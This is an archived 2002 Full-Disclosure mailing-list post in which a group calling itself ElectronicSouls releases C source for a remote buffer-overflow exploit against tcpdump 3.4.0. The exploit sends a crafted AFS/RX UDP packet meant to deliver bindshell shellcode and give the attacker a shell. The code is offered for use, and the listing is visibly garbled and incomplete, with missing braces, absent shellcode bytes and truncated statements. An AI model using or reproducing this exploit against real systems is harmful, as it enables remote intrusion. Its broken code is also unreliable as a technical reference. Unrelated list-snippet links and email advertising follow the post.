[Full-Disclosure] [ElectronicSouls] - tcpdump exploit

From: es@hush.com
Date: 11/29/02

From: es@hush.com (es@hush.com)
Date: Fri, 29 Nov 2002 00:11:44 -0800


Dear List,

We are releasing this for political reasons. We don't need to backdoor
tcpdump to get root on you, like those scriptkiddies do, we can find
our own bugs to exploit from mailing lists and then write our exploits.


# cat ES-tcpdump-xp-not-finished.c
    * MAD PRIVATE !%&#*
    * Linux x86 Tcpdump 3.4.0 (maybe others!) Remote Exploit (with -s 500 or higher)
    * (C) BrainStorm - ElectronicSouls - \x45\x53 0wnez ;)

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netdb.h>
    #include <arpa/inet.h>

    #define ADDR 0xbffff248
    #define OFFSET 0
    #define NUM_ADDR 10
    #define NOP 0x90
    #define NUM_NOP 100

    #define RX_PACKET_TYPE_DATA 1
    #define FS_RX_DPORT 7000
    #define FS_RX_SPORT 7001
    #define AFS_CALL 134

    struct rx_header
        u_int32_t epoch;
        u_int32_t cid;
        u_int32_t callNumber;
        u_int32_t seq;
        u_int32_t serial;
        u_char type;
        u_char flags;
        u_char userStatus;
        u_char securityIndex;
        u_short spare;
        u_short serviceId;

    char shellcode[] = /* Taeho Oh bindshell code at port 30464 */

    long resolve(char *name)
     struct hostent *hp;
     long ip;

     if ((ip=inet_addr(name))==-1) {
     if ((hp=gethostbyname(name))==NULL) {
     fprintf (stderr,"Can't resolve host name [%s].\n",name);

    int main (int argc, char *argv[]) {

     struct sockaddr_in addr,sin;
     int sock,aux, offset=OFFSET;
     char buffer[4048], *chptr;
     struct rx_header *rxh;
     long int *lptr, return_addr=ADDR;

     fprintf(stderr,"\n\n [ E l e c t r o n i c S o u l s ] \n");
     fprintf(stderr,"Tcpdump 3.4.0 Remote Exploit by BrainStorm\n\n");

     if (argc<2)
     printf("Usage: %s <host> [offset]\n",argv[0]);

     if (argc==3) offset=atoi(argv[2]);
     fprintf(stderr,"[+] Using return addr: %#x\n",return_addr);


     if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0)

     if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {

     rxh=(struct rx_header *)buffer;

     lptr=(long int *)(buffer+sizeof(struct rx_header));


     chptr=(char *)lptr;
     sprintf(chptr,"1 0\n");


     lptr=(long int *)chptr;

     for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;
     chptr=(char *)lptr;




     sprintf(chptr," 1\n");

     if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1)
     fprintf(stderr,"Overflow sent, now wait for your shell =) ..\n\n");


The Electronic Souls Crew
[ElectronicSouls] (c) 2002

"Winner of the Best Eyes Award"

Version: Hush 2.2 (Java)
Note: This signature can be verified at https://www.hushtools.com/verify


Concerned about your privacy? Follow this link to get
FREE encrypted email: https://www.hushmail.com/?l=2

Big $$$ to be made with the HushMail Affiliate Program:

Relevant Pages

  • Re: kmail wont import eudora addresses
    ... As root I looked at the std.vcf file and it is empty even ... > though the kmail program lists all the imported eudora addresses. ... > as root there was no problem with importing the list. ... In previous versions of Kab and Kaddressbook you could use several ...
  • Re: Issues mirroring drives with Vinum in FreeBSD 4.8-RELEASE
    ... Having seen that message in many of your replies on the lists, ... vinum: reading configuration from /dev/da0s1h ... using volume root for root device ... fstab: /etc/fstab:9: Inappropriate file type or format ...
  • Re: Can not run Programs that Require Root Access
    ... updates I click on view packages & it asks for my root password. ... I've just recently installed FC7, ... I read messages from the public lists. ...
  • Re: [opensuse] There will be no reply-to-muning on this list
    ... problem lies (the mail server settings) ... You're absolutely right about solving it at the root, ... Standards are what allows us to interoperate. ... On lists that do not munge, I've never had anyone send a message to the ...
  • Re: Update problems
    ... You can't run apt-* from the command line as your regular user account. ... The root account has no password and, as such, can't be logged in. ... For single commands, or small lists of them, the second one if the ...